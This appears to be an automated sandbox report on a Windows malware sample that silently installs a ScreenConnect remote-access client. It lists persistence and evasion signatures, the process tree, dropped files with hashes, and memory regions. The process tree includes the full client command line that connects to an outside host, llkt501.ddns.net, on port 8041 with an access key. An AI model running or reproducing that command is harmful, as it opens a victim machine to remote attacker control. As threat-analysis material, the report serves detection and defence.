Analysis

  • max time kernel
    93s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/11/2024, 10:23

General

  • Target
    21d2ff2a4ff27f8b2e14132a78a528857fc267d357ad2d7d75fbf27f1fa632f9.exe
  • Size 5.4MB
  • Sample241107-metkyazlfx
  • SHA256 21d2ff2a4ff27f8b2e14132a78a528857fc267d357ad2d7d75fbf27f1fa632f9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 3 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\21d2ff2a4ff27f8b2e14132a78a528857fc267d357ad2d7d75fbf27f1fa632f9.exe
    "C:\Users\Admin\AppData\Local\Temp\21d2ff2a4ff27f8b2e14132a78a528857fc267d357ad2d7d75fbf27f1fa632f9.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2200
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\905a7ca53d26072a\setup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4928
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4564
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E1973DC653E0BA824FC5CAF332808935 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5080
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA3A2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240624656 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1312
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2652
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 3C8B9F2CF3B0898F6BB2179E4D3D30C6
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3360
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 8E0163DE622398FB7838A7C9C3F33851 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1320
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:996
    • C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=llkt501.ddns.net&p=8041&s=4d536881-b54b-47e8-8156-f42aebe88ea8&k=BgIAAACkAABSU0ExAAgAAAEAAQAFiJkYSsHWAiMLqCRmzzktgQckyG3TGgm6yPTLawNtNX6q1gr57JH4PrLfClMTmwPp16%2ftpUu72MJPhrP9Fe%2fDAOLI7IxssEnqHo0cK7GF8605xW1%2b29YYv7Gp%2f%2bRVnS8EXpyfNuusFYa%2bCoXawQboJM2Gi1VXFl4XcMGGJmYswsgo9qU%2fBqW3jX3LRGSRskHQDuJYQ8zNUvX1ZvvvtewO8gfRa7Z6WeC1pOnkHykQZ7ux8aNy9iCaTKjcx7FnTu1T7GRag6eNtt4weTuPK2uLu2HYzL%2fVKjjkmkP1xXy2lhSPvloy810giaMzeQQElR11NNJ7O%2bcRI%2b4xi9%2bIANXb&c=hr%20leads&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5004
      • C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.WindowsClient.exe" "RunRole" "11068c80-c173-4614-816a-fbce45aca04a" "User"
        2⤵
        • Executes dropped EXE
        PID:4444
      • C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.WindowsClient.exe" "RunRole" "cf7bb8c1-72d7-4821-aafc-fb7f714d0774" "System"
        2⤵
        • Drops file in System32 directory
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:924

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e57e5fc.rbs

          • Path C:\Config.Msi\e57e5fc.rbs
          • Size 214KB
          • SHA256 8803e35b97c31baf210b51e77ba6d047ff0e6e30c7ff25a232060b485f99b165
          • MD5 SHA1 SHA512 SSDEEP

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\Client.Override.en-US.resources
          • Size 288B
          • SHA256 9a6139d85af226dda7828385669212602514d51330fedcbbeef8a414af725ace
          • MD5 SHA1 SHA512

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\Client.Override.resources
          • Size 256B
          • SHA256 23054e289eb585eb0314c44fd753ed3803c012e06b954926f3fc7167a370f928
          • MD5 SHA1 SHA512

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ad8fc048ce7a61c1af0428b7b3989163a215a9378417cac6fbf232d0538405c3
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 ea71f7dcbe7e754eef4ed40a931eda12fef7063b173a5b1d5095f683b254504c
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 0b2824097abe3211aac5feda8dc4d300ba51801d9fbed9eb8330b433a66ac001
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.WindowsClient.exe
          • Size 586KB
          • SHA256 054260618e077fadcd155c5f37ef3d5745f914adfe916ae61e8bafa47f855839
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\app.config
          • Size 2KB
          • SHA256 f09e170444003576ad24985c8b4873e7cbdc18863a4943a1fdeb0e3249812806
          • MD5 SHA1 SHA512

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\system.config
          • Size 944B
          • SHA256 0b77552c6c1ac96052e14782b4c10167a6a37393db5ba7b18622bf2a1fe3e5aa
          • MD5 SHA1 SHA512

          MSIA3A2.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA3A2.tmp
          • Size 1.0MB
          • SHA256 5534c5f8a6fa15723b5d295136e4847b75c3f251afd4e560b554b46b0bf8e7b2
          • MD5 SHA1 SHA512 SSDEEP

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA3A2.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA3A2.tmp-\ScreenConnect.Core.dll
          • Size 535KB
          • SHA256 d933498cd929c57aab0c3af908e0fe617213dd67c13e39b2a1d68b8f21849a7a
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA3A2.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 809a85090bd142900e82d9050dd6c0d68deaa8b4fa1aa0fb302bc931fc9a89dd
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA3A2.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 2ab4fb595844c11f27a54402c37197c96fa8e92fcc5d63b43d4810a4891efbc7
          • MD5 SHA1 SHA512 SSDEEP

          setup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\905a7ca53d26072a\setup.msi
          • Size 12.7MB
          • SHA256 ab632800476e76dcdf2d9024401bd3b3f6931089e8a6f8d489e4002e33dd0962
          • MD5 SHA1 SHA512 SSDEEP

          MSIE754.tmp

          • Path C:\Windows\Installer\MSIE754.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 f776c2d0e6211f3058da7a722687001189851f5c0f73209aefce334e79296327
          • MD5 SHA1 SHA512 SSDEEP

          {3eb4e496-67cd-40b9-a0c9-abad4b5e2a05}_OnDiskSnapshotProp

          • Path \??\Volume{0576a638-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{3eb4e496-67cd-40b9-a0c9-abad4b5e2a05}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 d8487b751fd6cab057b1094163f1fc55428731a02c19f73b9d4aa8c8a7da2922
          • MD5 SHA1 SHA512 SSDEEP

          memory/924-155-0x00000000023C0000-0x0000000002401000-memory.dmp

          memory/1312-45-0x0000000005750000-0x00000000058FA000-memory.dmp

          memory/1312-37-0x0000000003070000-0x000000000307A000-memory.dmp

          memory/1312-33-0x0000000003040000-0x000000000306E000-memory.dmp

          memory/1312-41-0x0000000005510000-0x000000000559C000-memory.dmp

          memory/2200-9-0x00000000747F0000-0x0000000074FA0000-memory.dmp

          memory/2200-10-0x00000000747F0000-0x0000000074FA0000-memory.dmp

          memory/2200-0-0x00000000747FE000-0x00000000747FF000-memory.dmp

          memory/2200-13-0x00000000747F0000-0x0000000074FA0000-memory.dmp

          memory/2200-1-0x0000000000FB0000-0x0000000000FB8000-memory.dmp

          memory/2200-8-0x00000000747F0000-0x0000000074FA0000-memory.dmp

          memory/2200-2-0x0000000005100000-0x00000000053EE000-memory.dmp

          memory/2200-7-0x00000000059A0000-0x0000000005F44000-memory.dmp

          memory/2200-6-0x0000000004F00000-0x00000000050AA000-memory.dmp

          memory/2200-5-0x0000000001000000-0x0000000001022000-memory.dmp

          memory/2200-3-0x0000000004E70000-0x0000000004EFC000-memory.dmp

          memory/2200-4-0x00000000747F0000-0x0000000074FA0000-memory.dmp

          memory/4444-147-0x0000000000590000-0x0000000000626000-memory.dmp

          memory/4444-148-0x0000000000E20000-0x0000000000E56000-memory.dmp

          memory/4444-149-0x000000001B580000-0x000000001B60C000-memory.dmp

          memory/4444-150-0x000000001B7C0000-0x000000001B96A000-memory.dmp

          memory/4444-151-0x000000001CBB0000-0x000000001CD36000-memory.dmp

          memory/4444-152-0x0000000000DE0000-0x0000000000DF8000-memory.dmp

          memory/4444-153-0x0000000000E70000-0x0000000000E88000-memory.dmp

          memory/5004-132-0x00000000049F0000-0x0000000004A82000-memory.dmp

          memory/5004-134-0x0000000004950000-0x0000000004991000-memory.dmp

          memory/5004-136-0x0000000004BD0000-0x0000000004CA2000-memory.dmp

          memory/5004-129-0x00000000048B0000-0x00000000048E6000-memory.dmp

          memory/5004-120-0x0000000004900000-0x0000000004950000-memory.dmp

          memory/5004-102-0x0000000004390000-0x00000000043A8000-memory.dmp